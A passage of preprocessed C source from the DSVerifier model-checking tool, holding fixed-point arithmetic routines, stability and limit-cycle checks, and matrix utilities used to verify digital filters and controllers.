0.960987598814982f, 0.627169162605570f, 0.948092598306120f, -0.185268381817018f, 0.602489977060513f, -0.885827813790617f, -0.00179203147433582f, -0.175476447614991f, 0.0461282236560925f, -0.898013889602944f, 0.256310837914276f, -0.733422110056865f, -0.740091677658095f, 0.966724540497493f, 0.328056986822768f, -0.267854591449557f, 0.670545831663244f, -0.356204313297688f, 0.0729865206358908f, -0.594530723723669f, 0.519965324048968f, 0.0632129606097647f, -0.878434885663544f, -0.497945943395010f, 0.0151854050905818f, -0.218036856012343f, 0.547721213710874f, -0.0915514918588898f, -0.279344098401951f, -0.228654882218650f, 0.100432155997130f, 0.802024600677294f, 0.175832345686877f, 0.0551231013299744f, 0.938247319394824f, 0.639298571360036f, -0.291461603371678f, -0.853503115314794f, -0.604829242631156f, 0.0291571486740745f, -0.932575328418390f, -0.621235088415116f, 0.403040314052094f, -0.809695618266849f, 0.966605888732736f, -0.199254401023053,
-0.540808222970056f, -0.0141840769249790f, 0.114579158224093f, 0.466889318471371f, -0.145415211797766f, -0.846707387707480f, -0.881237200733915f, -0.410798723199712f, -0.637697860299854f, -0.196366036081372f, 0.193267531425712f, -0.258591200841940f, -0.173003722066551f, 0.478121376006132f, 0.953819951501542f, 0.969916001975448f, 0.131515861287576f, -0.499829658784781f, 0.320952777516193f, -0.226980682212371f, 0.766886115655233f, 0.647310434110803f, -0.772594685974992f, 0.772645949480187f, -0.936357605801364f, -0.671842916281206f, -0.595127074295355f, 0.335132581825520f, 0.648964430112689f, -0.793376819398441f, -0.963663232647360f, 0.914308824314478f, -0.397663128784982f, 0.803240040231588f, -0.291039120047626f, -0.339918835846510f, -0.208620988780609f, 0.278177231697424f, -0.833157746552451f, 0.260554706029473f, -0.580537744139231f, 0.918561093477862f, 0.641368468308093f, 0.827379039283645f, -0.412231303854834f, -0.518315486749742f, 0.423356687848085f, 0.0777277584993787f, 0.394127392657178f, 0.609705410002715f, 0.264669032561337f, -0.460555696512027f, -0.0858908123066196f, -0.281781559603429f, -0.179777723960362f, -0.00449990348855067f, 0.803703377739133f, -0.155074032314596f, -0.00206139428833696f, 0.0661730930565525f, -0.737509215752079f, 0.620182143819587f, 0.114750705414661f, 0.545663051433958f, 0.661601724477194f, -0.592280382351976f, 0.609240020031149f, -0.968781019917808f, -0.668068368389875f, 0.206915551463500f, 0.0951453192552747f, 0.268580107578401f, -0.0450052302342363f, -0.933589842483940f, 0.236570492858402f, 0.0688734168318912f, 0.930163232697303f, 0.435953476823146f, 0.533759385687075f, 0.368282038662015f, -0.602312961473778f, 0.709516631712345f, -0.168303926671961f, 0.130670870119294f, -0.657736111745007f, 0.115028598388756f, 0.173728026281032f, -0.681671363429886f, -0.538786035950873f, 0.481457671665448f, 0.0136795278434168f, -0.570065342244344f, 0.188187050857249f, -0.352869308173680f, -0.979175308628854f, 0.223702879460018f, 0.994220466087713f, -0.147795166105729f, 0.218427535879435f, -0.120050826084179f, -0.0124939247430063f, -0.645134875027126f, -0.503122688484778f, 0.534123007328982f, 0.619710972635444f, -0.234248243706177f, 0.987144458053815f, 0.261284702576427f, 0.851827092094236f, 0.750019654249059f, -0.926154630610335f, 0.449356103243440f, 0.783011320523296f, -0.459228158107270f, -0.228877816937867f, 0.271108937592868f, -0.676085611673506f, 0.783114428240160f, 0.636093784021493f, -0.754110314308629f, -0.546386104880684f, 0.0385811136139234f, -0.768951137117397f, -0.644624743947807f, 0.00890157035391148f, -0.0792572116273387f, -0.989980668770044f, 0.603057533157075f, 0.280835727469123f, -0.634716709420524f, -0.712669415138995f, -0.424129916157595f, -0.436923748487354f, 0.467366013559791f, 0.907740481011987f, 0.788617065944311f, -0.152237692069130f, -0.963044404518533f, 0.907393322909416f, 0.806867676446313f, 0.699270310021791f, 0.107867603776547f, 0.127360747415417f, -0.502645789696788f, -0.511744166872327f, -0.121672719343072f, -0.596527146770249f, 0.410180172377510f, -0.852889849908704f, 0.278972213674154f, 0.0260156356783650f, 0.997558501949683f, -0.499245840292893f, -0.451169267624132f, -0.881643497362337f, 0.986957209874262f, -0.129608292321380f, 0.935829016346258f, -0.649021465281634f, 0.550436689069794f, 0.278888743082679f, 0.0137769346664500f, -0.660666060213522f, -0.416709136728042f, -0.302903068397225f, 0.180657445835459f, -0.908195955986293f, 0.280056533234627f, -0.660025789034158f, -0.798207438952561f, 0.901575224780405f, -0.608702932295102f, 0.318860199910414f, 0.874005722023406f, -0.0816057579181704f, 0.981671341873017f, -0.339234700161323f, 0.559717959858931f, 0.390363525109105f, -0.309384476087470f, 0.956563156784297f, -0.623734354817613f, -0.196627375289105f, -0.702076014509088f, 0.293098766889643f, -0.617152224560368f, 0.859117491438645f, 0.661015739867647f, 0.0747554166353739f, -0.282417009682732f, -0.667461537762524f, -0.451029960388404f, -0.464518668674360f, 0.591389440503293f, 0.552648871601186f, -0.242406315814918f, 0.147876771864331f, -0.00605730052917419f, -0.850648363553678f, -0.659957159486993f, -0.165475362851332f, 0.204150315434812f, -0.665767311591476f, -0.716154682563576f, 0.417487456932076f, 0.448184990956287f, 0.733843802413198f, -0.170228277851921f, -0.346809954182150f, 0.956058632188011f, 0.0315623945930987f, 0.509027121691627f, -0.147826185909834f, 0.717423768198044f, -0.153258078639530f, -0.586190749016474f, 0.122228033051868f, -0.884999045468193f, -0.364729711773548f, 0.0869976154696972f, -0.793532199218799f, 0.533748273468951f, -0.852754376244435f, 0.294752047699830f, 0.136764278163013f, 0.838074791168389f, 0.795224598541123f, -0.778005568697498f, -0.260924769562304f, -0.303759147861313f, 0.273726011325558f, 0.530476779331216f, 0.0866801234357086f, 0.0677702376031544f, 0.724353404182035f, -0.974710312543683f, 0.791838170482991f, 0.247768259921660f, 0.979431048271259f, -0.386992541899814f, 0.0640038231299192f, -0.00457726816166693f, 0.371455553726539f, 0.647649995487707f, 0.268304945808406f, -0.320428608173924f, 0.0927511620029309f, 0.256010036486838f, 0.740396212690346f, -0.656873241472848f, 0.823534292439413f, -0.820380362458844f, -0.453300307443023f, 0.784238355222248f, 0.912791840124321f, 0.0999478035440859f, -0.212620916988855f, 0.0170290625008669f, -0.589062380565879f, -0.171833624145497f, -0.524918122866141f, 0.961528292650892f, 0.101262818636430f, 0.941455114569308f, -0.967226220138929f, 0.616781547648562f, -0.913823148383971f, 0.274508821885917f, 0.924653374107756f, -0.866302908989783f, 0.227541907715857f, 0.0907574361370582f, -0.127499097943315f, -0.942071371521895f, -0.119419163649152f, 0.674284088819523f, 0.881328505929745f, 0.246290207551702f, 0.0547607254148590f, -0.462882918359077f, 0.888969728230585f, 0.666583509571921f, 0.238417203582380f, -0.279842248122727f, 0.855260336845903f, 0.314306869401155f, -0.188654877893078f, -0.609304918228150f, 0.169453885325888f, 0.265617874907016f, -0.943423537926184f, 0.493118676869450f, -0.386147750024858f, 0.0103920154342951f, 0.753677832518483f, 0.363353012331066f, -0.286620106520429f, -0.623332994906295f, 0.183966714365642f, -0.124278942882867f, -0.687889346448110f, -0.509002319646341f, -0.705769785650865f, 0.600586126467172f, 0.814989294939922f, 0.198959025256652f, 0.477897007911356f, 0.757957814363899f, 0.617755921094230f, -0.353589871947529f, 0.419688673189503f, -0.860584865805600f, -0.0232779635193843f, -0.789951030889387f, -0.893196700185750f, 0.610996462535201f, 0.847373590985131f, -0.989553358501822f, -0.367651771428081f, 0.741563712056747f, -0.923595352848971f, -0.580174215739367f, 0.577092000574232f, -0.910872910110270f, -0.907499077314190f, 0.692372247654077f, 0.810694134592084f, -0.608596332548047f, 0.761254615051625f, 0.0546240611947364f, -0.393956427117691f, -0.116127831535139f, -0.0352014590913388f, 0.374742194768889f, -0.927344099730091f, 0.939301337232488f, -0.969831716293845f, -0.0489333404770240f, -0.586719398908953f, 0.0235541378462407f, 0.388882981728285f, -0.0728483242295113f, 0.418280445244943f, -0.574289337805456f, -0.779962057565259f, -0.835190719754123f, 0.918717316922657f, -0.765889988109173f, -0.935310664146932f, -0.0750906135370848f, -0.256246546197534f, 0.693865929543926f, 0.592800255527084f, 0.836743344551035f, -0.801953470827580f, 0.0595524153568945f, 0.158376549012192f, -0.429364776412726f, -0.450531184162532f, -0.169317185285268f, 0.420344570579195f, -0.902838087574441f, -0.654676904337469f, 0.941802178622893f, -0.411034608875500f, -0.455381371659872f, 0.582371240315256f, -0.276150504466756f, 0.164276403376185f, -0.960238817086774f, 0.590055303394028f, -0.995185688656226f, -0.285809748360467f, -0.792066171752882f, -0.456123303649101f, -0.864169187700384f, 0.798745251308383f, -0.517673464079948f, 0.523086536900369f, 0.398784615211052f, 0.908677185333852f, -0.434846969584770f, -0.277024535706464f, 0.575800013122065f, -0.0423952171673019f, -0.327530749916683f, -0.401220909875065f, -0.232577533032385f, 0.577630268254944f, -0.733290201484409f, -0.297499739456838f, 0.166541885572822f, -0.646828619904039f, 0.0312662656272755f, 0.754145050600965f, -0.908499825108811f, 0.315379190361296f, 0.366242661082351f, 0.867903806940678f, -0.613391940567782f, 0.00760147209048068f, 0.953424134034927f, -0.812551125910811f, 0.734998935207065f, 0.781720854678504f, -0.653974423413561f, 0.612587888218526f, -0.297359914095386f, -0.409559158758694f, -0.143962230212734f, -0.814888102841114f, 0.359131810502055f, 0.356924557741016f, -0.872415989401612f, 0.716849887848809f, -0.374916928585818f, -0.0702264435280595f, 0.329843438660215f, 0.0956097573088677f, -0.937528128860310f, -0.322293489817529f, 0.781444964993177f, -0.810141738751828f, -0.150295079242497f, 0.846909181293597f, -0.128124277517711f, -0.752611695817661f, 0.839996835828451f, -0.0705685941510277f, 0.000366462394740585f, 0.0788016995849923f, -0.246053200655556f, -0.156645099915028f, -0.460752333796863f, 0.622021359864204f, 0.722871957583123f, -0.257873353238499f, -0.309810184480446f, 0.765248644407833f, -0.553316047243663f, -0.612742789838491f, 0.354017349601509f, 0.923293368553697f, 0.630695912377860f, -0.148750121613537f, -0.821801680234240f, 0.368247966228196f, 0.405416044101496f, -0.803232509711354f, -0.429778551911399f, -0.723837414527446f, -0.963925147452133f, 0.190882872226757f, 0.477008077263598f, -0.661282403679070f, 0.271643442525556f, -0.915994079618801f, 0.196564556546175f, 0.378359035245796f, 0.584016730657668f, -0.0377864332655202f, -0.327376192853106f, 0.850744189707984f, 0.799571679043808f, -0.111126908452029f, 0.525587242291601f, -0.404486180733535f, -0.134496922397279f, 0.0890128096708100f, -0.815560643303157f, -0.920166023598312f, -0.360079578314899f, -0.556238898466371f, -0.220978103133838f, -0.571530268052405f, 0.573332217175226f, -0.133862258696460f, -0.982130330352248f, -0.352538465285082f, 0.318683937697894f, -0.790927430842686f, 0.691168535237102f, 0.806014327242002f, -0.981639450008060f, 0.407200095027265f, 0.918249921845949f, 0.776880149695420f, -0.437773083955269f, -0.385117533333437f, 0.0115152415796460f, 0.687224538003991f, 0.992524870612626f, 0.471003324792228f, -0.873541777412034f, -0.560923118634380f, -0.726151823613842f, -0.538941951730010f, 0.772057551475325f, 0.858490725829641f, -0.168849338472479f };
# 102 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t wrap(fxp_t kX, fxp_t kLowerBound, fxp_t kUpperBound)
{
int32_t range_size = kUpperBound - kLowerBound + 1;
if (kX < kLowerBound){
kX += range_size * ((kLowerBound - kX) / range_size + 1);
}
return kLowerBound + (kX - kLowerBound) % range_size;
}
fxp_t fxp_get_int_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_imask) : in & _fxp_imask);
}
fxp_t fxp_get_frac_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_fmask) : in & _fxp_fmask);
}
float fxp_to_float(fxp_t fxp);
fxp_t fxp_quantize(fxp_t aquant) {
if (overflow_mode == 2) {
if(aquant < _fxp_min) {
return _fxp_min;
}
else if(aquant > _fxp_max) {
return _fxp_max;
}
}
else if (overflow_mode == 3) {
if(aquant < _fxp_min || aquant > _fxp_max) {
return wrap(aquant, _fxp_min, _fxp_max);
}
}
return (fxp_t) aquant;
}
void fxp_verify_overflow(fxp_t value){
fxp_quantize(value);
printf("An Overflow Occurred in system's output");
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
void fxp_verify_overflow_node(fxp_t value, char* msg){
if (2 == 2)
{
printf("%s",msg);
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
}
void fxp_verify_overflow_array(fxp_t array[], int n){
int i=0;
for(i=0; i<n;i++){
fxp_verify_overflow(array[i]);
}
}
fxp_t fxp_int_to_fxp(int in) {
fxp_t lin;
lin = (fxp_t) in*_fxp_one;
return lin;
}
int fxp_to_int(fxp_t fxp) {
if(fxp >= 0){
fxp += _fxp_half;
} else {
fxp -= _fxp_half;
}
fxp >>= impl.frac_bits;
return (int) fxp;
}
fxp_t fxp_float_to_fxp(float f) {
fxp_t tmp;
double ftemp;
ftemp = f * scale_factor[impl.frac_bits];
if(f >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
return tmp;
}
fxp_t fxp_double_to_fxp(double value) {
fxp_t tmp;
double ftemp = value * scale_factor[impl.frac_bits];
if (rounding_mode == 0){
if(value >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
} else if(rounding_mode == 1){
tmp = (fxp_t) ftemp;
double residue = ftemp - tmp;
if ((value < 0) && (residue != 0)){
ftemp = ftemp - 1;
tmp = (fxp_t) ftemp;
}
} else if (rounding_mode == 0){
tmp = (fxp_t) ftemp;
}
return tmp;
}
void fxp_float_to_fxp_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_float_to_fxp(f[i]);
}
}
void fxp_double_to_fxp_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_double_to_fxp(f[i]);
}
}
# 275 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
float fxp_to_float(fxp_t fxp) {
float f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
double fxp_to_double(fxp_t fxp) {
double f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
void fxp_to_float_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_float(r[i]);
}
}
void fxp_to_double_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_double(r[i]);
}
}
fxp_t fxp_abs(fxp_t a) {
fxp_t tmp;
tmp = ((a < 0) ? -(fxp_t)(a) : a);
tmp = fxp_quantize(tmp);
return tmp;
}
fxp_t fxp_add(fxp_t aadd, fxp_t badd) {
fxp_t tmpadd;
tmpadd = ((fxp_t)(aadd) + (fxp_t)(badd));
tmpadd = fxp_quantize(tmpadd);
return tmpadd;
}
fxp_t fxp_sub(fxp_t asub, fxp_t bsub) {
fxp_t tmpsub;
tmpsub = (fxp_t)((fxp_t)(asub) - (fxp_t)(bsub));
tmpsub = fxp_quantize(tmpsub);
return tmpsub;
}
fxp_t fxp_mult(fxp_t amult, fxp_t bmult) {
fxp_t tmpmult, tmpmultprec;
tmpmult = (fxp_t)((fxp_t)(amult)*(fxp_t)(bmult));
if (tmpmult >= 0) {
tmpmultprec = (tmpmult + ((tmpmult & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits;
} else {
tmpmultprec = -(((-tmpmult) + (((-tmpmult) & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits);
}
tmpmultprec = fxp_quantize(tmpmultprec);
return tmpmultprec;
}
# 372 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_div(fxp_t a, fxp_t b){
__DSVERIFIER_assume( b!=0 );
fxp_t tmpdiv = ((a << impl.frac_bits) / b);
tmpdiv = fxp_quantize(tmpdiv);
return tmpdiv;
}
fxp_t fxp_neg(fxp_t aneg) {
fxp_t tmpneg;
tmpneg = -(fxp_t)(aneg);
tmpneg = fxp_quantize(tmpneg);
return tmpneg;
}
# 398 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_sign(fxp_t a) {
return ((a == 0) ? 0 : ((a < 0) ? _fxp_minus_one : _fxp_one) );
}
fxp_t fxp_shrl(fxp_t in, int shift) {
return (fxp_t) (((unsigned int) in) >> shift);
}
fxp_t fxp_square(fxp_t a) {
return fxp_mult(a, a);
}
void fxp_print_int(fxp_t a) {
printf("\n%i", (int32_t)a);
}
void fxp_print_float(fxp_t a) {
printf("\n%f", fxp_to_float(a));
}
void fxp_print_float_array(fxp_t a[], int N) {
int i;
for(i = 0; i < N; ++i) {
printf("\n%f", fxp_to_float(a[i]));
}
}
void print_fxp_array_elements(char * name, fxp_t * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %jd ", v[i]);
}
printf("}\n");
}
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 1
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
void initialize_array(double v[], int n){
int i;
for(i=0; i<n; i++){
v[i] = 0;
}
}
void revert_array(double v[], double out[], int n){
initialize_array(out,n);
int i;
for(i=0; i<n; i++){
out[i] = v[n-i-1];
}
}
double internal_pow(double a, double b){
int i;
double acc = 1;
for (i=0; i < b; i++){
acc = acc*a;
}
return acc;
}
double internal_abs(double a){
return a < 0 ? -a : a;
}
int fatorial(int n){
return n == 0 ? 1 : n * fatorial(n-1);
}
int check_stability(double a[], int n){
int lines = 2 * n - 1;
int columns = n;
double m[lines][n];
int i,j;
double current_stability[n];
for (i=0; i < n; i++){
current_stability[i] = a[i];
}
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
if (sum <= 0){
printf("[DEBUG] the first constraint of Jury criteria failed: (F(1) > 0)");
return 0;
}
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
if (sum <= 0){
printf("[DEBUG] the second constraint of Jury criteria failed: (F(-1)*(-1)^n > 0)");
return 0;
}
if (internal_abs(a[n-1]) > a[0]){
printf("[DEBUG] the third constraint of Jury criteria failed: (abs(a0) < a_{n}*z^{n})");
return 0;
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
}
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
}
}
}
int first_is_positive = m[0][0] >= 0 ? 1 : 0;
for (i=0; i < lines; i++){
if (i % 2 == 0){
int line_is_positive = m[i][0] >= 0 ? 1 : 0;
if (first_is_positive != line_is_positive){
return 0;
}
continue;
}
}
return 1;
}
void poly_sum(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
Nans = Na>Nb? Na:Nb;
for (i=0; i<Nans; i++){
if (Na>Nb){
ans[i]=a[i];
if (i > Na-Nb-1){
ans[i]=ans[i]+b[i-Na+Nb];
}
}else {
ans[i]=b[i];
if (i> Nb - Na -1){
ans[i]=ans[i]+a[i-Nb+Na];
}
}
}
}
void poly_mult(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
int j;
int k;
Nans = Na+Nb-1;
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=0;
}
}
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=ans[k]+a[Na - i - 1]*b[Nb - j - 1];
}
}
}
void double_check_oscillations(double * y, int y_size){
__DSVERIFIER_assume(y[0] != y[y_size - 1]);
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
((void) sizeof ((
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ; else __assert_fail (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
"!(window_count == window_size)"
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h", 209, __extension__ __PRETTY_FUNCTION__); }))
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
;
}
}else{
break;
}
window_timer++;
}
}
}
void double_check_limit_cycle(double * y, int y_size){
double reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assert(desired_elements != found_elements);
}
void double_check_persistent_limit_cycle(double * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
double reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
double lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void print_array_elements(char * name, double * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %.32f ", v[i]);
}
printf("}\n");
}
void double_add_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] + m2[i][j];
}
}
}
void double_sub_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] - m2[i][j];
}
}
}
void double_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, double m1[4][4], double m2[4][4], double m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
double mult = (m1[i][k] * m2[k][j]);
m3[i][j] = m3[i][j] + (m1[i][k] * m2[k][j]);
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
m3[i][j] = fxp_add( m3[i][j], fxp_mult(m1[i][k] , m2[k][j]));
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_exp_matrix(unsigned int lines, unsigned int columns, fxp_t m1[4][4], unsigned int expNumber, fxp_t result[4][4]){
unsigned int i, j, l, k;
fxp_t m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = fxp_double_to_fxp(1.0);
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = fxp_add( result[i][j], fxp_mult(m2[i][k] , m1[k][j]));
}
}
}
}
}
void double_exp_matrix(unsigned int lines, unsigned int columns, double m1[4][4], unsigned int expNumber, double result[4][4]){
unsigned int i, j, k, l;
double m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = 1.0;
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = result[i][j] + (m2[i][k] * m1[k][j]);
}
}
}
}
}
void fxp_add_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) {
result[i][j] = fxp_add(m1[i][j] , m2[i][j]);
}
}
void fxp_sub_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = fxp_sub(m1[i][j] , m2[i][j]);
}
void print_matrix(double matrix[4][4], unsigned int lines, unsigned int columns){
printf("\nMatrix\n=====================\n\n");
unsigned int i, j;
for (i=0; i<lines; i++) {
for (j=0; j<columns; j++) {
printf("#matrix[%d][%d]: %2.2f ", i,j,matrix[i][j]);
}
printf("\n");
}
printf("\n");
}
double determinant(double a[4][4],int n)
{
int i,j,j1,j2;
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
double fxp_determinant(fxp_t a_fxp[4][4],int n)
{
int i,j,j1,j2;
double a[4][4];
for(i=0; i<n;i++){
for(j=0; j<n;j++){
a[i][j]= fxp_to_double(a_fxp[i][j]);
}
}
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
void transpose(double a[4][4], double b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
void fxp_transpose(fxp_t a[4][4], fxp_t b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
